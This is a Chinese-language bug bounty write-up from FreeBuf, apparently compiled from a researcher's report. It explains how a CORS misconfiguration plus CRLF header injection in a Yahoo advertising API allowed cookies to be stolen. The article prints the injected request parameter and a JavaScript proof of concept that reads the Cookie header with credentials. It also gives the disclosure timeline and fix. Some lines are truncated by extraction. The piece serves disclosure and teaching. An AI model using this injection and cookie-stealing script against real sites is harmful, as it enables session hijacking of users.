REEBUF



挖洞经验 | 看我如何发现价值\$10000美金的雅虎Cookie窃取漏洞

WEB安全

漏洞



由于最近我在学习 Python ,所以我打算写点前期侦察脚本,来从大量雅虎子域名中过滤掉一些无效域名,以缩小: 效的测试目标范围。而无意中,我却发现了雅虎(Yahoo)的某个服务过滤机制存在绕过漏洞,可以藉此实现Cook 窃取,最终雅虎方面向我奖励了\$10000美金。

眼前一亮

我的前期信息收集脚本运行后,我从筛选结果中看到了雅虎网站https://premium.advertising.yahoo.com,经过对其浏 检查和请求分析之后,发现该网站与Yahoo的API服务: https://api.advertising.vahoo.com有交互,交互过程中涉及了 XmlHttpRequests对象和跨域资源共享(CORS)技术。

所以,在对API https://api.advertising.yahoo.com/services/network/whoami 的请求中,我发现了大量该网站响应的头信 息,它对`user agent`、`Accept`和`Cookie` 这些请求都有响应,这让我眼前一亮。

深入测试

2018/1/12

而且,在GET请求中的任意参数也能在如下响应头信息中体现:

GET /services/network/whoami?Test=Try HTTP/1.1

Host: api.advertising.yahoo.com

参数具体响应为:

HTTP/1.1 401 Unauthorized

Test: Try





GET /services/network/whoami HTTP/1.1

Host: api.advertising.yahoo.com

Origin: http://www.anydomain.com

由于任意域名都在许可范围之内,所以,上述请求可以响应为:

TTP/1.1 401 Unauthorized

Access-Control-Allow-Origin: http://www.anydomain.com

Access-Control-Allow-Credentials: True

但是却不能从响应页面中读取任何内容。由于CORS策略在发起请求时,其XMLHttpRequest对象只能获取到6种响应字段内容:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果想要获取其它字段响应内容,就必须以语法Access-Control-Expose-Headers: header-name

一波三折

为些,利用上述方法,我尝试在GET参数中加入Cookie字段获取请求:

GET /services/network/whoami?Access-Control-Expose-Headers=Cookie HTTP/1.1

Host: api.advertising.yahoo.com

但遗憾的是,响应内容中却无任何有效的头信息,对Cookie这类敏感信息的响应头获取估计都被列入黑名单了。额……,那来试试回车换行符(CRLF)%0d%0a:

GET /services/network/whoami?test%0d%0ame=nicely HTTP/1.1

Host: api.advertising.yahoo.com

可还是被拦截了:

HTTP/1.1 401 Unauthorized

testme: nicely

老实说,我很喜欢在这些过滤机制中挑毛病找茬,它们一旦存在漏洞就可能被绕过,或者实现XSS诸如此类的攻击

柳暗花明

所以,接下来,我继续来尝试:

GET /services/network/whoami?Access-Control-Expose-Header%0d%0as=Cookie

可以看到,'Access-Control-Expose-Header%0d%0as'对服务器来说,貌似不是一个特殊的头字段,因此,能成功绕让一关过滤,而接下来的'%0d%0a'也能成功绕过后续过滤,所以最终的响应头信息是这样的:

```
HTTP/1.1 401 Unauthorized

Access-Control-Expose-Headers: Cookie
```

所以,具备以下javascript类型的网站页面,都可以从其响应头中读取到Cookie响应信息:

```
var getcookie = new XMLHttpRequest();
var url = "https://api.advertising.yahoo.com/services/network/whoami?Access-Contro
getcookie.onreadystatechange= function(){
   if(getcookie.readyState == getcookie.DONE) {
      document.write(getcookie.getResponseHeader("Cookie") + "<h1>I have stolen all y
}}
getcookie.open("GET", url, true);
getcookie.withCredentials = true;
getcookie.send();
</script>
```

即使Origin或credentials被设置为不允许,我一样可以绕过`Access-Control-Allow-Origin`和 `Access-Control-Allow-Credentials`字段限制。后经测试发现, 这种Cookie窃取漏洞同样存在于雅虎的邮箱和其它services/requests架构服务中,非常危险。

漏洞报告进程

2017年9月19日 我向雅虎安全团队报告漏洞;

雅虎安全团队在半小时内进行了漏洞分类,并奖励了我初期\$500美元奖金;

雅虎方面在几小时之内,把存在漏洞的api服务器暂停服务;

雅虎方面通过限制GET参数注入和'Access-Control-Allow-Origin'字段,进行了漏洞修复,一些特殊字符构造的响应头也被严格过滤;

2017年9月30日 雅虎又向我发放了最终\$9,500美金奖励。

*参考来源:witcoat,freebuf小编clouds编译,转载请注明来自FreeBuf.COM

上一篇:<u>批量检测SQL注入</u>



已有1条评论

TedZhang 2018-01-12 1楼 回 楼下说说这漏洞在国内值几张JD卡? ₱ <u>亮了</u> 选择文件 未选择任何文件 必须 您当前尚未登录。登陆? 注册 昵称 请输入昵称 必须 (保密) 邮箱 请输入邮箱地址 表情 插图 提交评论(Ctrl+Enter) <u>取消</u> 有人回复时邮件通知我 <u>clouds</u> I am a robot, do not talk to me, code to me. 199 38 文章数 评论数 最近文章 • 挖洞经验 | 看我如何发现价值\$10000美金的雅虎Cookie窃取漏洞 2018.01.12 phpMyAdmin被曝存在严重CSRF漏洞可对数据库造成破坏 2018.01.08

浏览更多

相关阅读

挖洞经验 | 看我如何接管OLX的每一条...

挖洞经验 | 看我如何通过子域名接管绕...

【漏洞预警】基于RedHat发行的Apach...

攻击SharePoint

[电子书]渗透测试框架Metasploit基础...

特别推荐





极客DY注我而**奶**家能庸饶艾蜜,三步 教你做一根OTG传输线

geekman 2014-12-27

独家分析:安卓"Janus"漏洞的产生 原理及利用过程

<u>顶象技术</u>

2017-12-12





<u>量子计算从概念走入现实,公钥加</u> 密是否岌岌可危

快讯: 联想官网被黑, 内部邮件被

劫持

<u>Elaine z</u> 2017-07-18 <u>hujias</u> 2015-02-26



Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved <u>沪ICP备13033796号</u>



